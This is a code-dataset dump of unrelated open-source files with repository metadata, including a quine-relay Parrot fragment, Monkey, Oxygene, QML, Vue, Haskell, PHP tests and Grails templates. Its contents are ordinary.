s//.UE6AipRImyCWu1HVmNALRXrtBCvCcIfcyLd0wxAjBEXxoPQKrQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GDHQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtitsT80tQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWrMxbL7ZSQyaHHjLO5q1RdrR92h.cIyy5J.UE6CW/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UEK8B8ldtqAKLDdrK6CH0ieNT5Gz7rfe5LdTaORqJFQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GDrYhdJ2895Ynf2VFQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GCtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZnRnkyI3mtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3vmKoeW33XmNrjaxFyshi7PGeAqzZMlKBCukUEIzDB.UE625F.UE620/ x s//chr 47/e x s//.UtPwSJ.UE624Hfmmc20/ x s//chr 47/e x s//QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFORrGl9I8TTCJMtjITi9PGeCybdcgEQa3RImyCW0z7riy0/ x s//chr 47/e x s//SDy4XUUmsx4x3drR24r1dr83DjjmoxAeWsWswbGrjmoxAeVDktORrFFQiL9ZmtQFMwDFFQiL9ZmtQiL9ZmtQiL2LD1tEL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2KLhVqL2bBuZseAjP1gI7SuW2xQgZqDFmRnbf3UiluCHjQxMCwfpOyIQpDjainwyi7EjhczQ7L0JnjhmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFLJubr0Je7npvQG7bvzQui72mbvxRlLepwcteTRmtQi7p3mtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmsbJtPTCufiL9ZlDQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GatQiL2zqtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZnRnkyI3mtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2vmDJftFnKR5fytQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6ZDjainwyi7FoIyyWjdxyisXpOyIQpbFuzU8TTBRbtxQGW2dxxDjprFSfLmXaguDLxl6dxwpqTbpl8CWbr0Jr2WPvxRwCjHacmxgClEZse9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8tQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWrshKL5ogIOJWtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZnRnkyI3mtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3ZwRAiv7ngES51r6qPYTi9PGe34HHnsPADalQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GDrZhdJ2XBMGcCRWtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6YTiXPE6AhitQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6eb91itc24DZdsR95DFjvif3mtQi7oTj7PGeC5LdngKyKLDnusf0r1gqKDOvvMiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W75vcqwhh9PiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQrQwDZ/ x s//chr 34/e x s//f/ x s//chr 125/e x s//chr 59/e x s//chr 41/e x s//s/ x s//chr 36/e x s//chr 44/e x s//chr 41/e x s//s/ x s//chr 36/e x s//chr 40/e x s//.length/ x s//chr 34/e x s//B/ x s//chr 34/e x s//chr 40/e x s//print pack/ x s//chr 59/e x s//g/ x s//chr 47/e x s//chr 38/e x s//chr 36/e x s//0/ x s//chr 47/e x s//chr 125/e x s//7/ x s//chr 123/e x s//./ x s//chr 47/e x s//s/ x s//chr 126/e x s//chr 61/e x s//s/ x s//chr 36/e x s//chr 125/e x s//chr 59/e x s//chr 41/e x s//2/ x s//chr 44/e x s//chr 41/e x s//chr 41/e x s//chr 41/e x s//59/ x s//chr 58/e x s//53/ x s//chr 63/e x s//91/ x s//chr 60/e x s//n/ x s//chr 36/e x s//chr 58/e x s//46/ x s//chr 63/e x s//58/ x s//chr 60/e x s//n/ x s//chr 36/e x s//chr 40/e x s//chr 45/e x s//n/ x s//chr 36/e x s//chr 40/e x s//chr/ x s//chr 44/e x s//chr 34/e x s//B8/ x s//chr 34/e x s//chr 40/e x s//unpack/ x s//chr 40/e x s//substr/ x s//chr 61/e x s//s./ x s//chr 36/e x s//chr 59/e x s//chr 41/e x s//chr 95/e x s//chr 36/e x s//chr 40/e x s//ord/ x s//chr 61/e x s//n/ x s//chr 36/e x s//chr 123/e x s//chr 41/e x s//chr 93/e x s//0/ x s//chr 91/e x s//chr 95/e x s//chr 36/e x s//chr 44/e x s//chr 47/e x s//chr 47/e x s//split/ x s//chr 40/e x s//foreach/ x s//chr 59/e x s//chr 34/e x s//chr 34/e x s//chr 61/e x s//s/ x s//chr 36/e x s//chr 123/e x s//sub f/ x eval');end." end
Parrot Assembly
0
SilasX/quine-relay
intermediate/QR.pasm
[ "MIT", "Unlicense" ]
' Module monkey.set ' ' Placed into the public domain 24/02/2011. ' No warranty implied; use at your own risk. Private Import map Public Class Set<T> Method New( map:Map<T,Object> ) Self.map=map End Method Clear() map.Clear End Method Count() Return map.Count() End Method IsEmpty?() Return map.IsEmpty() End Method Contains?( value:T ) Return map.Contains( value ) End Method Insert( value:T ) map.Insert value,Null End Method Remove( value:T ) map.Remove value End Method ObjectEnumerator:KeyEnumerator<T,Object>() Return map.Keys().ObjectEnumerator() End Private Field map:Map<T,Object> End 'Helper versions... Class IntSet Extends Set<Int> Method New() Super.New( New IntMap<Object> ) End End Class FloatSet Extends Set<Float> Method New() Super.New( New FloatMap<Object> ) End End Class StringSet Extends Set<String> Method New() Super.New( New StringMap<Object> ) End End
Monkey
4
Regal-Internet-Brothers/webcc-monkey
webcc.data/modules/monkey/set.monkey
[ "Zlib" ]
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0" DefaultTargets="Build"> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> <ProjectGuid>2b56e90a-f177-4d9a-a438-ed6df7ad9826</ProjectGuid> <OutputType>Library</OutputType> <AppDesignerFolder>Properties</AppDesignerFolder> <RootNamespace>Sugar</RootNamespace> <AssemblyName>Sugar.Data</AssemblyName> <DefaultLanguage>en-US</DefaultLanguage> <ProjectTypeGuids>{BC8A1FFA-BEE3-4634-8014-F334798102B3};{656346D9-4656-40DA-A068-22D5425D4639}</ProjectTypeGuids> <Name>Sugar.Data.Echoes.WinRT</Name> <AllowLegacyCreate>False</AllowLegacyCreate> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <Optimize>false</Optimize> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <Optimize>true</Optimize> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>TRACE;NETFX_CORE</DefineConstants> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|ARM'"> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants> <CpuType>ARM</CpuType> <Prefer32Bit>true</Prefer32Bit> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|ARM'"> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>TRACE;NETFX_CORE</DefineConstants> <Optimize>true</Optimize> <CpuType>ARM</CpuType> <Prefer32Bit>true</Prefer32Bit> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'"> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants> <CpuType>x64</CpuType> <Prefer32Bit>true</Prefer32Bit> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'"> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>TRACE;NETFX_CORE</DefineConstants> <Optimize>true</Optimize> <CpuType>x64</CpuType> <Prefer32Bit>true</Prefer32Bit> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'"> <GeneratePDB>True</GeneratePDB> <DebugSymbols>true</DebugSymbols> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>DEBUG;TRACE;NETFX_CORE</DefineConstants> <CpuType>x86</CpuType> <Prefer32Bit>true</Prefer32Bit> <XmlDocWarningLevel>WarningOnPublicMembers</XmlDocWarningLevel> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'"> <GeneratePDB>True</GeneratePDB> <GenerateMDB>False</GenerateMDB> <OutputPath>bin\WinRT\</OutputPath> <DefineConstants>TRACE;NETFX_CORE</DefineConstants> <Optimize>true</Optimize> <CpuType>x86</CpuType> <Prefer32Bit>true</Prefer32Bit> </PropertyGroup> <PropertyGroup Condition=" '$(VisualStudioVersion)' == '' or '$(VisualStudioVersion)' &lt; '11.0' "> <VisualStudioVersion>11.0</VisualStudioVersion> </PropertyGroup> <!-- To modify your build process, add your task inside one of the targets below and uncomment it. Other similar extension points exist, see Microsoft.Common.targets. <Target Name="BeforeBuild"> </Target> <Target Name="AfterBuild"> </Target> --> <ItemGroup> <Reference Include="mscorlib" /> <Reference Include="Windows" /> <Reference Include="System.Net.Http" /> <Reference Include="System.Xml" /> <Reference Include="System.Xml.Linq" /> <Reference Include="System.Xml.ReaderWriter" /> <Reference Include="System.Reflection" /> <Reference Include="System.Runtime" /> <Reference Include="System.Runtime.InteropServices" /> <Reference Include="System.Globalization" /> <Reference Include="System.Runtime.WindowsRuntime" /> <Reference Include="System.Threading" /> <Reference Include="System.Threading.Tasks" /> <Reference Include="System.IO" /> <Reference Include="System.Linq" /> <Reference Include="System.Collections" /> <Reference Include="System.Text.Encoding" /> <Reference Include="System.Diagnostics.Debug" /> <Reference Include="System.Runtime.Extensions" /> </ItemGroup> <ItemGroup> <ProjectReference Include="..\Sugar\Sugar.Echoes.WinRT.BuildServer.oxygene"> <Name>Sugar.Echoes.WinRT</Name> <Project>{3ab69816-9882-4fa6-abe5-c146199f5279}</Project> <Private>True</Private> <HintPath>..\Sugar\bin\WinRT\Sugar.dll</HintPath> </ProjectReference> </ItemGroup> <Import Project="$(MSBuildExtensionsPath)\RemObjects Software\Sugar\Microsoft.Windows.UI.Xaml.Oxygene.targets" /> <Import Project="Sugar.Data.Shared.projitems" Label="Shared" /> <PropertyGroup> <PreBuildEvent>rmdir /s /q $(ProjectDir)\Obj</PreBuildEvent> </PropertyGroup> </Project>
Oxygene
3
nchevsky/remobjects-sugar
Sugar.Data/Sugar.Data.Echoes.WinRT.BuildServer.oxygene
[ "BSD-3-Clause" ]
export default "xy";
JavaScript
0
1shenxi/webpack
test/statsCases/split-chunks/node_modules/xy.js
[ "MIT" ]
<h1>Index Body</h1> <h3>Message: {{Message}} </h3>
HTML
2
mkosakana/iris
_examples/view/layout/handlebars/views/index.html
[ "BSD-3-Clause" ]
import QtQuick 2.11 import QtQuick.Controls 2.4 import QtQuick.Layouts 1.11 import QtCharts 2.3 import QGroundControl 1.0 import QGroundControl.Palette 1.0 import QGroundControl.Controls 1.0 import QGroundControl.Controllers 1.0 import QGroundControl.ScreenTools 1.0 ChartView { id: chartView theme: ChartView.ChartThemeDark antialiasing: true animationOptions: ChartView.NoAnimation legend.visible: false backgroundColor: qgcPal.window backgroundRoundness: 0 margins.bottom: ScreenTools.defaultFontPixelHeight * 1.5 margins.top: chartHeader.height + (ScreenTools.defaultFontPixelHeight * 2) property var chartController: null property var seriesColors: ["#00E04B","#DE8500","#F32836","#BFBFBF","#536DFF","#EECC44"] function addDimension(field) { if(!chartController) { chartController = controller.createChart() } var color = chartView.seriesColors[chartView.count] var serie = createSeries(ChartView.SeriesTypeLine, field.label) serie.axisX = axisX serie.axisY = axisY serie.useOpenGL = true serie.color = color serie.width = 1 chartController.addSeries(field, serie) } function delDimension(field) { if(chartController) { chartView.removeSeries(field.series) chartController.delSeries(field) if(chartView.count === 0) { controller.deleteChart(chartController) chartController = null } } } DateTimeAxis { id: axisX min: chartController ? chartController.rangeXMin : new Date() max: chartController ? chartController.rangeXMax : new Date() visible: chartController !== null format: "<br/>mm:ss.zzz" tickCount: 5 gridVisible: true labelsFont.family: "Fixed" labelsFont.pointSize: ScreenTools.smallFontPointSize labelsColor: qgcPal.text } ValueAxis { id: axisY min: chartController ? chartController.rangeYMin : 0 max: chartController ? chartController.rangeYMax : 0 visible: chartController !== null lineVisible: false labelsFont.family: "Fixed" labelsFont.pointSize: ScreenTools.smallFontPointSize labelsColor: qgcPal.text } Row { id: chartHeader anchors.left: parent.left anchors.leftMargin: ScreenTools.defaultFontPixelWidth * 4 anchors.right: parent.right anchors.rightMargin: ScreenTools.defaultFontPixelWidth * 4 anchors.top: parent.top anchors.topMargin: ScreenTools.defaultFontPixelHeight * 1.5 spacing: ScreenTools.defaultFontPixelWidth * 2 visible: chartController !== null GridLayout { columns: 2 columnSpacing: ScreenTools.defaultFontPixelWidth rowSpacing: ScreenTools.defaultFontPixelHeight * 0.25 anchors.verticalCenter: parent.verticalCenter QGCLabel { text: qsTr("Scale:"); Layout.alignment: Qt.AlignVCenter } QGCComboBox { Layout.minimumWidth: ScreenTools.defaultFontPixelWidth * 10 Layout.maximumWidth: ScreenTools.defaultFontPixelWidth * 10 height: ScreenTools.defaultFontPixelHeight model: controller.timeScales currentIndex: chartController ? chartController.rangeXIndex : 0 onActivated: { if(chartController) chartController.rangeXIndex = index; } Layout.alignment: Qt.AlignVCenter } QGCLabel { text: qsTr("Range:"); Layout.alignment: Qt.AlignVCenter } QGCComboBox { Layout.minimumWidth: ScreenTools.defaultFontPixelWidth * 10 Layout.maximumWidth: ScreenTools.defaultFontPixelWidth * 10 height: ScreenTools.defaultFontPixelHeight model: controller.rangeList currentIndex: chartController ? chartController.rangeYIndex : 0 onActivated: { if(chartController) chartController.rangeYIndex = index; } Layout.alignment: Qt.AlignVCenter } } ColumnLayout { anchors.verticalCenter: parent.verticalCenter Repeater { model: chartController ? chartController.chartFields : [] QGCLabel { text: modelData.label color: chartView.series(index).color font.pointSize: ScreenTools.smallFontPointSize } } } } }
QML
4
uav-operation-system/qgroundcontrol
src/QmlControls/MAVLinkChart.qml
[ "Apache-2.0" ]
<template> <v-container class="fill-height"> <v-row align="center" justify="center" > <v-color-picker v-bind="$attrs" v-on="$listeners" ></v-color-picker> </v-row> </v-container> </template> <script> export default { name: 'Usage', inheritAttrs: false, data: () => ({ defaults: { disabled: false, 'dot-size': 25, 'hide-canvas': false, 'hide-inputs': false, 'hide-mode-switch': false, mode: null, 'show-swatches': false, 'swatches-max-height': 200, }, options: { booleans: [ 'disabled', 'hide-canvas', 'hide-sliders', 'hide-inputs', 'hide-mode-switch', 'show-swatches', ], selects: { mode: [ 'rgba', 'hsla', 'hexa', ], }, sliders: { 'dot-size': [0, 50], 'swatches-max-height': [100, 250], }, }, tabs: [], }), } </script>
Vue
4
mattgrande/vuetify
packages/docs/src/examples/v-color-picker/usage.vue
[ "MIT" ]
module Language.PureScript.CST.Errors ( ParserErrorInfo(..) , ParserErrorType(..) , ParserWarningType(..) , ParserError , ParserWarning , prettyPrintError , prettyPrintErrorMessage , prettyPrintWarningMessage ) where import Prelude import qualified Data.Text as Text import Data.Char (isSpace, toUpper) import Language.PureScript.CST.Layout import Language.PureScript.CST.Print import Language.PureScript.CST.Types import Text.Printf (printf) data ParserErrorType = ErrWildcardInType | ErrConstraintInKind | ErrHoleInType | ErrExprInBinder | ErrExprInDeclOrBinder | ErrExprInDecl | ErrBinderInDecl | ErrRecordUpdateInCtr | ErrRecordPunInUpdate | ErrRecordCtrInUpdate | ErrTypeInConstraint | ErrElseInDecl | ErrInstanceNameMismatch | ErrUnknownFundep | ErrImportInDecl | ErrGuardInLetBinder | ErrKeywordVar | ErrKeywordSymbol | ErrQuotedPun | ErrToken | ErrLineFeedInString | ErrAstralCodePointInChar | ErrCharEscape | ErrNumberOutOfRange | ErrLeadingZero | ErrExpectedFraction | ErrExpectedExponent | ErrExpectedHex | ErrReservedSymbol | ErrCharInGap Char | ErrModuleName | ErrQualifiedName | ErrEmptyDo | ErrLexeme (Maybe String) [String] | ErrEof | ErrCustom String deriving (Show, Eq, Ord) data ParserWarningType = WarnDeprecatedRowSyntax | WarnDeprecatedForeignKindSyntax | WarnDeprecatedConstraintInForeignImportSyntax | WarnDeprecatedKindImportSyntax | WarnDeprecatedKindExportSyntax deriving (Show, Eq, Ord) data ParserErrorInfo a = ParserErrorInfo { errRange :: SourceRange , errToks :: [SourceToken] , errStack :: LayoutStack , errType :: a } deriving (Show, Eq) type ParserError = ParserErrorInfo ParserErrorType type ParserWarning = ParserErrorInfo ParserWarningType prettyPrintError :: ParserError -> String prettyPrintError pe@ParserErrorInfo { errRange } = prettyPrintErrorMessage pe <> " at " <> errPos where errPos = case errRange of SourceRange (SourcePos line col) _ -> "line " <> show line <> ", column " <> show col prettyPrintErrorMessage :: ParserError -> String prettyPrintErrorMessage ParserErrorInfo {..} = case errType of ErrWildcardInType -> "Unexpected wildcard in type; type wildcards are only allowed in value annotations" ErrConstraintInKind -> "Unsupported constraint in kind; constraints are only allowed in value annotations" ErrHoleInType -> "Unexpected hole in type; type holes are only allowed in value annotations" ErrExprInBinder -> "Expected pattern, saw expression" ErrExprInDeclOrBinder -> "Expected declaration or pattern, saw expression" ErrExprInDecl -> "Expected declaration, saw expression" ErrBinderInDecl -> "Expected declaration, saw pattern" ErrRecordUpdateInCtr -> "Expected ':', saw '='" ErrRecordPunInUpdate -> "Expected record update, saw pun" ErrRecordCtrInUpdate -> "Expected '=', saw ':'" ErrTypeInConstraint -> "Expected constraint, saw type" ErrElseInDecl -> "Expected declaration, saw 'else'" ErrInstanceNameMismatch -> "All instances in a chain must implement the same type class" ErrUnknownFundep -> "Unknown type variable in functional dependency" ErrImportInDecl -> "Expected declaration, saw 'import'" ErrGuardInLetBinder -> "Unexpected guard in let pattern" ErrKeywordVar -> "Expected variable, saw keyword" ErrKeywordSymbol -> "Expected symbol, saw reserved symbol" ErrQuotedPun -> "Unexpected quoted label in record pun, perhaps due to a missing ':'" ErrEof -> "Unexpected end of input" ErrLexeme (Just (hd : _)) _ | isSpace hd -> "Illegal whitespace character " <> displayCodePoint hd ErrLexeme (Just a) _ -> "Unexpected " <> a ErrLineFeedInString -> "Unexpected line feed in string literal" ErrAstralCodePointInChar -> "Illegal astral code point in character literal" ErrCharEscape -> "Illegal character escape code" ErrNumberOutOfRange -> "Number literal is out of range" ErrLeadingZero -> "Unexpected leading zeros" ErrExpectedFraction -> "Expected fraction" ErrExpectedExponent -> "Expected exponent" ErrExpectedHex -> "Expected hex digit" ErrReservedSymbol -> "Unexpected reserved symbol" ErrCharInGap ch -> "Unexpected character '" <> [ch] <> "' in gap" ErrModuleName -> "Invalid module name; underscores and primes are not allowed in module names" ErrQualifiedName -> "Unexpected qualified name" ErrEmptyDo -> "Expected do statement" ErrLexeme _ _ -> basicError ErrToken | SourceToken _ (TokLeftArrow _) : _ <- errToks -> "Unexpected \"<-\" in expression, perhaps due to a missing 'do' or 'ado' keyword" ErrToken -> basicError ErrCustom err -> err where basicError = case errToks of tok : _ -> basicTokError (tokValue tok) [] -> "Unexpected input" basicTokError = \case TokLayoutStart -> "Unexpected or mismatched indentation" TokLayoutSep -> "Unexpected or mismatched indentation" TokLayoutEnd -> "Unexpected or mismatched indentation" TokEof -> "Unexpected end of input" tok -> "Unexpected token '" <> Text.unpack (printToken tok) <> "'" displayCodePoint :: Char -> String displayCodePoint x = "U+" <> map toUpper (printf "%0.4x" (fromEnum x)) prettyPrintWarningMessage :: ParserWarning -> String prettyPrintWarningMessage ParserErrorInfo {..} = case errType of WarnDeprecatedRowSyntax -> "Unary '#' syntax for row kinds is deprecated and will be removed in a future release. Use the 'Row' kind instead." WarnDeprecatedForeignKindSyntax -> "Foreign kind imports are deprecated and will be removed in a future release. Use empty 'data' instead." WarnDeprecatedConstraintInForeignImportSyntax -> "Constraints are deprecated in foreign imports and will be removed in a future release. Omit the constraint instead and update the foreign module accordingly." WarnDeprecatedKindImportSyntax -> "Kind imports are deprecated and will be removed in a future release. Omit the 'kind' keyword instead." WarnDeprecatedKindExportSyntax -> "Kind exports are deprecated and will be removed in a future release. Omit the 'kind' keyword instead."
Haskell
5
dunhamsteve/purescript
lib/purescript-cst/src/Language/PureScript/CST/Errors.hs
[ "BSD-3-Clause" ]
--TEST-- strtotime() with relative offsets --FILE-- <?php date_default_timezone_set('UTC'); $base_time = 1204200000; // 28 Feb 2008 12:00:00 $offsets = array( // offset around a day '80412 seconds', '86399 seconds', '86400 seconds', '86401 seconds', '112913 seconds', // offset around 7 days '134 hours', '167 hours', '168 hours', '169 hours', '183 hours', // offset around 6 months '178 days', '179 days', '180 days', '183 days', '184 days', // offset around 10 years '115 months', '119 months', '120 months', '121 months', '128 months', // offset around 25 years (can't do much more reliably with strtotime) '24 years', '25 years', '26 years' ); foreach ($offsets AS $offset) { foreach (array('+', '-') AS $direction) { echo "$direction$offset: " . date(DATE_ISO8601, strtotime("$direction$offset", $base_time)) . "\n"; } } ?> --EXPECT-- +80412 seconds: 2008-02-29T10:20:12+0000 -80412 seconds: 2008-02-27T13:39:48+0000 +86399 seconds: 2008-02-29T11:59:59+0000 -86399 seconds: 2008-02-27T12:00:01+0000 +86400 seconds: 2008-02-29T12:00:00+0000 -86400 seconds: 2008-02-27T12:00:00+0000 +86401 seconds: 2008-02-29T12:00:01+0000 -86401 seconds: 2008-02-27T11:59:59+0000 +112913 seconds: 2008-02-29T19:21:53+0000 -112913 seconds: 2008-02-27T04:38:07+0000 +134 hours: 2008-03-05T02:00:00+0000 -134 hours: 2008-02-22T22:00:00+0000 +167 hours: 2008-03-06T11:00:00+0000 -167 hours: 2008-02-21T13:00:00+0000 +168 hours: 2008-03-06T12:00:00+0000 -168 hours: 2008-02-21T12:00:00+0000 +169 hours: 2008-03-06T13:00:00+0000 -169 hours: 2008-02-21T11:00:00+0000 +183 hours: 2008-03-07T03:00:00+0000 -183 hours: 2008-02-20T21:00:00+0000 +178 days: 2008-08-24T12:00:00+0000 -178 days: 2007-09-03T12:00:00+0000 +179 days: 2008-08-25T12:00:00+0000 -179 days: 2007-09-02T12:00:00+0000 +180 days: 2008-08-26T12:00:00+0000 -180 days: 2007-09-01T12:00:00+0000 +183 days: 2008-08-29T12:00:00+0000 -183 days: 2007-08-29T12:00:00+0000 +184 days: 2008-08-30T12:00:00+0000 -184 days: 2007-08-28T12:00:00+0000 +115 months: 2017-09-28T12:00:00+0000 -115 months: 1998-07-28T12:00:00+0000 +119 months: 2018-01-28T12:00:00+0000 -119 months: 1998-03-28T12:00:00+0000 +120 months: 2018-02-28T12:00:00+0000 -120 months: 1998-02-28T12:00:00+0000 +121 months: 2018-03-28T12:00:00+0000 -121 months: 1998-01-28T12:00:00+0000 +128 months: 2018-10-28T12:00:00+0000 -128 months: 1997-06-28T12:00:00+0000 +24 years: 2032-02-28T12:00:00+0000 -24 years: 1984-02-28T12:00:00+0000 +25 years: 2033-02-28T12:00:00+0000 -25 years: 1983-02-28T12:00:00+0000 +26 years: 2034-02-28T12:00:00+0000 -26 years: 1982-02-28T12:00:00+0000
PHP
4
thiagooak/php-src
ext/date/tests/strtotime-relative.phpt
[ "PHP-3.01" ]
--TEST-- Bug #74547 mysqli::change_user() doesn't accept null as $database argument w/strict_types --EXTENSIONS-- mysqli --SKIPIF-- <?php require_once('skipifconnectfailure.inc'); ?> --FILE-- <?php declare(strict_types=1); require_once("connect.inc"); if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket)) printf("[001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket); var_dump(mysqli_change_user($link, $user, $passwd, NULL)); mysqli_close($link); ?> --EXPECT-- bool(true)
PHP
4
NathanFreeman/php-src
ext/mysqli/tests/bug74547.phpt
[ "PHP-3.01" ]
<%: func UserListToWriter(userList []string, w io.Writer) (int, error)%> <%~ "index.html" %> <%@ body { %> <% for _, user := range userList { %> <ul> <%+ "user.html" %> </ul> <% } %> <% } %>
HTML
3
tamsanh/examples
http_responsewriter/herotemplate/template/userlistwriter.html
[ "MIT" ]
<%-- Copyright 2012 Netflix, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="layout" content="main"/> <title>Images</title> </head> <body> <div class="body"> <div class="list"> <table class="narrow"> <caption>${deregisteredAmisToInstanceAsgs.size()} deregistered AMI ids with running instances</caption> <thead> <tr> <th>AMI ID</th> <th>Instances</th> </tr> </thead> <tbody> <g:each var="imageIdToInstanceAsg" in="${deregisteredAmisToInstanceAsgs.entrySet()}" status="i"> <tr class="${(i % 2) == 0 ? 'odd' : 'even'}"> <td>${imageIdToInstanceAsg.key}</td> <td> <g:each in="${imageIdToInstanceAsg.value}" var="instanceAsg"> <g:linkObject name="${instanceAsg.instance.instanceId}"/> ${instanceAsg.instance.ec2Instance.owner} ${instanceAsg.instance.ec2Instance.app} <g:linkObject type="autoScaling" name="${instanceAsg.groupName}"/> <br/> </g:each> </td> </tr> </g:each> </tbody> </table> <g:render template="amis" model="['caption': 'in use with no creation time', 'images': dateless]"/> <g:render template="amis" model="['caption': 'AMIs used by running instances but with no discernible Base AMI', 'images': baselessInUse]"/> <table class="sortable narrow"> <caption>${appVersionsToImageLists.size()} appversion values in use, with in-use AMI counts</caption> <thead> <tr> <th>App Version</th> <th>AMI Count</th> <th>AMIs</th> </tr> </thead> <tbody> <g:each var="appVersionToImageList" in="${appVersionsToImageLists.entrySet()}" status="i"> <tr class="${(i % 2) == 0 ? 'odd' : 'even'}"> <td>${appVersionToImageList.key}</td> <td>${appVersionToImageList.value.size()}</td> <td> <g:each in="${appVersionToImageList.value}" var="image"> <g:linkObject type="image" name="${image.imageId}"/> </g:each> </td> </tr> </g:each> </tbody> </table> <g:render template="amis" model="['caption': 'AMIs used by running instances, sorted by Base AMI Date', 'images': inUseImages]"/> </div> </div> </body> </html>
Groovy Server Pages
3
michaelneale/asgard
grails-app/views/image/analyze.gsp
[ "Apache-2.0" ]
